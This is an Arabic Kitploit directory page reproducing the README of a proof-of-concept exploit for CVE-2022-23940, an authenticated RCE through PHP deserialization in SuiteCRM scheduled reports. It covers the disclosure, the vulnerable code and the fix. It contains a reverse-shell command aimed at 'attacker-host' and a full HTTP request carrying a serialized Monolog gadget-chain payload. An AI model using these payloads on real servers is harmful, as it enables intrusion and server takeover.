Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-23940 — PoC لـ CVE-2022-23940 | Kitploit
أدوات/GitHubGitHub/manuelz120/cve-2022-23940
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubmanuelz120/cve-2022-23940

CVE-2022-23940

PoC لـ CVE-2022-23940

عرض المستودع
1472منذ سنة واحدةلم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-23940

PoC لـ CVE-2022-23940 والمعروف أيضًا باسم SCRMBT-#187 - تنفيذ برمجي عن بُعد بعد المصادقة عبر التقارير المجدولة في SuiteCRM (<= 7.12.4) وSuiteCRM-Core (<= 8.0.3).

تم الإبلاغ عن هذه الثغرة إلى SalesAgility وتم إصلاحها في SuiteCRM 7.12.5 و_SuiteCRM Core 8.0.4_. في الإصدارات المتأثرة، يمكن لأي مستخدم لديه صلاحية إنشاء تقارير مجدولة (Scheduled Reports) الحصول على تنفيذ برمجي عن بُعد واختراق الخادم. إذا كنت تستخدم إصدارات أقدم من SuiteCRM، أنصحك بشدة بالتحديث.

الاستخدام

التثبيت

  1. تأكد من تثبيت إصدار حديث من python3 وpip.
  2. استنسخ المستودع: git clone https://github.com/manuelz120/CVE-2022-23940.git
  3. ثبّت المكتبات المطلوبة pip3 install -r "requirements.txt"
  4. استمتع :)

الخيارات المتاحة:

root@kitploit:~
(.venv) ➜  CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2022-23940
تنزيل الأداة

مثال على الاستخدام:

asciicast

root@kitploit:~
# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"

الشرح الفني

يمكن للمستخدمين القادرين على إنشاء تقارير مجدولة (أي إنشاء سجلات في وحدة AOR_Scheduled_Reports) تنفيذ أكواد عشوائية على الخادم من خلال استغلال ثغرة في إلغاء تسلسل PHP (PHP deserialization).

تقوم وحدة AOR_Scheduled_Reports بتخزين مستلمي البريد الإلكتروني للتقرير كنصوص مُسلسلة (serialized) ومشفرة بـ base64 في قاعدة البيانات. عند استلام بيانات تقرير مجدول، يتم إلغاء تسلسل العمود المذكور. إذا تمكن المهاجمون من إدراج محتوى عشوائي في هذا العمود، يمكنهم تحقيق RCE عبر العديد من أدوات إلغاء التسلسل في PHP (في اختباراتي استخدمت Monolog/RCE2 من أداة phpggc).

يمكن تخزين الحمولة (payload) في قاعدة البيانات باستخدام استدعاء الحفظ القديم لوحدة AOR_Scheduled_Reports. يفترض الخادم بشكل خاطئ أن معامل email_recipients هو دائمًا مصفوفة (array). ومع ذلك، إذا مرر عميل خبيث email_recipients كسلسلة نصية فقط، فسيتم تخزين البيانات في قاعدة البيانات كما هي. بمجرد إلغاء تسلسلها، يتم تنفيذ الـ gadgets على الخادم ونحصل على تنفيذ برمجي عن بُعد.

فيما يلي التنفيذ الهش لدالة save في الفئة AOR_Scheduled_Reports. وبالتحديد في الأسفل، نرى أن get_email_recipients تستدعي unserialize على المحتوى المخزن في قاعدة البيانات:

root@kitploit:~
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php

public function save($check_notify = false)
{
    if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
        $this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
    }

    return parent::save($check_notify);
}

public function get_email_recipients()
{
    $params = unserialize(base64_decode($this->email_recipients));
    // ....

مثال على طلب لإنشاء مثل هذا التقرير المجدول الخبيث يبدو كالتالي (إذا قمت بفك ترميز قيمة email_recipients، سترى أنها تنفذ ببساطة touch /tmp/hacked):

root@kitploit:~
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999

module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A

الإصلاح المطبَّق

إذا نظرنا إلى الكود المُصلَح، نرى أن المطورين أضافوا دالة جديدة parseRecipients تقوم بتحليل والتحقق من البيانات المخزنة في معامل email_recipients قبل حفظها في قاعدة البيانات. يتم تخزين البيانات فقط إذا كانت القيمة تطابق التنسيق المتوقع. لذلك، لم يعد إلغاء التسلسل لتنفيذ RCE يعمل بعد الآن:

https://github.com/salesagility/SuiteCRM-Core/commit/63b969478d812d5ed937bf54fe5b174232e91a00#diff-0c100713e7e6c2c4c068cb4fe88342c6b0166cfcf06f57589120853a3f2ad2f2R205-R221

fixed code

الخط الزمني

  • 24/01/2022: اكتشاف الثغرة والإبلاغ عنها إلى SuiteCRM
  • 25/01/2022: تأكيد الثغرة من قبل البائع (SalesAgility)
  • 02/03/2022: إصدار النسخ المُصلَحة (SuiteCRM 7.12.5 وSuiteCRM Core 8.0.4)

الاعتمادات

  • phpggc